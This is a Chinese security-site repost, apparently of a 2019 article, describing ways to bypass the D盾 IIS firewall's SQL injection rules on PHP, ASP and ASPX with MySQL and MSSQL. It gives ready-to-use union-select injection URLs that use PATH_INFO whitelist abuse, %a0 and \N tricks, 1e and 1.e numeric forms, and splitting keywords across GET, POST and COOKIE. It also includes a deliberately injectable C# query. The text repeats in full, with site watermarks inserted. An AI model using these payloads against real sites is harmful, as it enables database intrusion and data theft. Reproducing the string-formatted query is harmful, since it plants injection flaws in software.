欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)

来源:未知 作者:wnhack 时间:2019-01-08 14:15 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助
D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。
构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路:
a、白名单
b、绕过union select或select from的检测
 
01 PHP+IIS+MYSQL
搭建这个window2003+IIS+php+mysql,可花费不少时间,测试过程还蛮顺利的,先来一张拦截图:
绕过姿势一:白名单
PHP中的PATH_INFO问题,简单来说呢,就是
http:/x.x.x.x/1.php?id=1 等价于
http://x.x.x.x/1.php/xxxxxxxxxxxxx?id=1
白名单中随便挑个地址加在后面,可成功bypass,
http://x.x.x.x/1.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
经测试,GET、POST、COOKIE均有效,完全bypass
绕过姿势二:空白字符
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
测试了一下,基本上针对MSSQL的[0x01-0x20]都被处理了,唯独在Mysql中还有一个%a0可以利用,可以看到%a0与select合体,无法识别,从而绕过。
http://x.x.x.x/1.php?id=1 union%a0select 1,2,3 from admin
绕过姿势三:\N形式
主要思考问题,如何绕过union select以及select from?
如果说上一个姿势是union和select之间的位置的探索,那么是否可以考虑在union前面进行检测呢?
为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样方式绕过select from的检测。
http://x.x.x.x/1.php?id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
 
 02 IIS+ASP/ASPX+MSSQL
搭建IIS+ASP/ASPX+MSSQL环境,思路一致,只是语言与数据库特性有些许差异,继续来张D盾拦截图:
绕过姿势一:白名单
ASP: 不支持,找不到路径,而且D盾禁止执行带非法字符或特殊目录的脚本(/1.asp/x),撤底没戏了
http://x.x.x.x/admin.php/../1.asp?id=1 and 1=1 拦截 /1.asp?b=admin.php&id=1 and 1=1 拦截,可见D盾会识别到文件的位置,并不是只检测URL存在白名单那么简单了。。。
ASPX:与PHP类似 http://x.x.x.x/1.aspx/admin.php?id=1 union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
 
 
绕过姿势二:空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下?
ASP+MSSQL: 不支持%a0,已放弃。。。
ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测 id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
 
绕过姿势三:1e(科学记数法)形式
MSSQL属于强类型,这边的绕过是有限制,from前一位显示位为数字类型,这样才能用1efrom绕过select from。 只与数据库有关,与语言无关,故ASP与ASPX一样,可bypass,id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES
 
 
D盾新版:
 
00前言:
『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式防止网站和服务器给入侵。新版的D盾_防火墙,支持系统:win2003/win2008/win2012/win2016,在IIS整体防护效果,还是非常给力的。本文通过一个SQL注入点,分享一个Bypass D盾_防火墙SQL注入防御的思路。
 
01环境搭建:
构造一个ASPX+MSSQL注入点:
string id = Request.Params["id"];  
string sql = string.Format("select * from admin where id={0}", id);  
『D盾_防火墙』 版本: v2.0.6.70
 
02 特殊的MSSQL特性:
一、MSSQL特性
    在MSSQL中,参数和union之间的位置,常见的可填充方式有如下几种:
(1)空白字符 Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)浮点数
select * from admin where id=1.1union select 1,'2',db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,'2',db_name() from admin
二、Bypass Fuzz
    使用以上几种常规的形式进行测试,都没有效果,接着针对构造的SQL注入点,进行Fuzz参数和union之间的位置
http://x.x.x.x/sql.aspx?id=1【Fuzz位置】union select null,null,SYSTEM_USER
Fuzz结果:通过1.e这种特殊的数值形式,可成功绕过union select防御。
到这里,可union select,形成了部分Bypass,接下来考虑,如何去绕过select from的防御规则。
 
03 aspx特性的分割注入
一、ASPX HPP特性
    假设GET/POST/COOKIE同时提交的参数id,服务端接收参数id的顺序是什么样呢?
ASPX+IIS:同时提交参数id,会接收所有参数,通过逗号分隔,如下图:
二、Bypass 测试
    利用ASPX+IIS同时接收参数的方式比较特别,可以用这个特性来搞事。 利用这个特性来拆分select from,从而绕过D盾的SQL注入防御规则。
 
04总结:
部分Bypass 1.e这中特殊的数值形式适合于MSSQL的场景。
完全Bypass姿势的局限:
使用Request.Params["id"]来获取参数, 三种方式可以进行参数传递:(1)GET (2)POST (3)COOKIE 获取到参数拼接起来。
利用场景略局限,仅仅作为Bypass分享一种思路而已。
另外,如果把UNION SELECT FROM 三个关键字分别放在GET/POST/COOKIE的位置,通过ASPX的特性连起来,我相信这是很多waf都防御不了的。
  D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。
构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路:
a、白名单
copyright 无奈人生

b、绕过union select或select from的检测
 
01 PHP+IIS+MYSQL
搭建这个window2003+IIS+php+mysql,可花费不少时间,测试过程还蛮顺利的,先来一张拦截图:
绕过姿势一:白名单 www.wnhack.com
PHP中的PATH_INFO问题,简单来说呢,就是
http:/x.x.x.x/1.php?id=1 等价于
http://x.x.x.x/1.php/xxxxxxxxxxxxx?id=1
白名单中随便挑个地址加在后面,可成功bypass,
http://x.x.x.x/1.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
内容来自无奈安全网

经测试,GET、POST、COOKIE均有效,完全bypass
绕过姿势二:空白字符
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
测试了一下,基本上针对MSSQL的[0x01-0x20]都被处理了,唯独在Mysql中还有一个%a0可以利用,可以看到%a0与select合体,无法识别,从而绕过。

copyright 无奈人生


http://x.x.x.x/1.php?id=1 union%a0select 1,2,3 from admin
绕过姿势三:\N形式
主要思考问题,如何绕过union select以及select from?
如果说上一个姿势是union和select之间的位置的探索,那么是否可以考虑在union前面进行检测呢?
为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样方式绕过select from的检测。 内容来自无奈安全网
http://x.x.x.x/1.php?id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
 
 02 IIS+ASP/ASPX+MSSQL
搭建IIS+ASP/ASPX+MSSQL环境,思路一致,只是语言与数据库特性有些许差异,继续来张D盾拦截图:
绕过姿势一:白名单 copyright 无奈人生
ASP: 不支持,找不到路径,而且D盾禁止执行带非法字符或特殊目录的脚本(/1.asp/x),撤底没戏了
http://x.x.x.x/admin.php/../1.asp?id=1 and 1=1 拦截 /1.asp?b=admin.php&id=1 and 1=1 拦截,可见D盾会识别到文件的位置,并不是只检测URL存在白名单那么简单了。。。
ASPX:与PHP类似 http://x.x.x.x/1.aspx/admin.php?id=1 union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
  copyright 无奈人生
 
绕过姿势二:空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下?
ASP+MSSQL: 不支持%a0,已放弃。。。 www.wnhack.com
ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测 id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
 
绕过姿势三:1e(科学记数法)形式
MSSQL属于强类型,这边的绕过是有限制,from前一位显示位为数字类型,这样才能用1efrom绕过select from。 只与数据库有关,与语言无关,故ASP与ASPX一样,可bypass,id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES
www.wnhack.com

 
 
D盾新版:
 
00前言:
本文来自无奈人生安全网

『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式防止网站和服务器给入侵。新版的D盾_防火墙,支持系统:win2003/win2008/win2012/win2016,在IIS整体防护效果,还是非常给力的。本文通过一个SQL注入点,分享一个Bypass D盾_防火墙SQL注入防御的思路。 无奈人生安全网
 
01环境搭建:
构造一个ASPX+MSSQL注入点:
string id = Request.Params["id"];  
string sql = string.Format("select * from admin where id={0}", id);   内容来自无奈安全网
『D盾_防火墙』 版本: v2.0.6.70
 
02 特殊的MSSQL特性:
一、MSSQL特性
    在MSSQL中,参数和union之间的位置,常见的可填充方式有如下几种: 无奈人生安全网
(1)空白字符 Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)浮点数

本文来自无奈人生安全网


select * from admin where id=1.1union select 1,'2',db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,'2',db_name() from admin
二、Bypass Fuzz
    使用以上几种常规的形式进行测试,都没有效果,接着针对构造的SQL注入点,进行Fuzz参数和union之间的位置

www.wnhack.com


http://x.x.x.x/sql.aspx?id=1【Fuzz位置】union select null,null,SYSTEM_USER
Fuzz结果:通过1.e这种特殊的数值形式,可成功绕过union select防御。
到这里,可union select,形成了部分Bypass,接下来考虑,如何去绕过select from的防御规则。
 

本文来自无奈人生安全网


03 aspx特性的分割注入
一、ASPX HPP特性
    假设GET/POST/COOKIE同时提交的参数id,服务端接收参数id的顺序是什么样呢?
ASPX+IIS:同时提交参数id,会接收所有参数,通过逗号分隔,如下图:
二、Bypass 测试 www.wnhack.com
    利用ASPX+IIS同时接收参数的方式比较特别,可以用这个特性来搞事。 利用这个特性来拆分select from,从而绕过D盾的SQL注入防御规则。
 
04总结:

内容来自无奈安全网


部分Bypass 1.e这中特殊的数值形式适合于MSSQL的场景。
完全Bypass姿势的局限:
使用Request.Params["id"]来获取参数, 三种方式可以进行参数传递:(1)GET (2)POST (3)COOKIE 获取到参数拼接起来。
利用场景略局限,仅仅作为Bypass分享一种思路而已。 www.wnhack.com
另外,如果把UNION SELECT FROM 三个关键字分别放在GET/POST/COOKIE的位置,通过ASPX的特性连起来,我相信这是很多waf都防御不了的。
 。 (责任编辑:wnhack)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。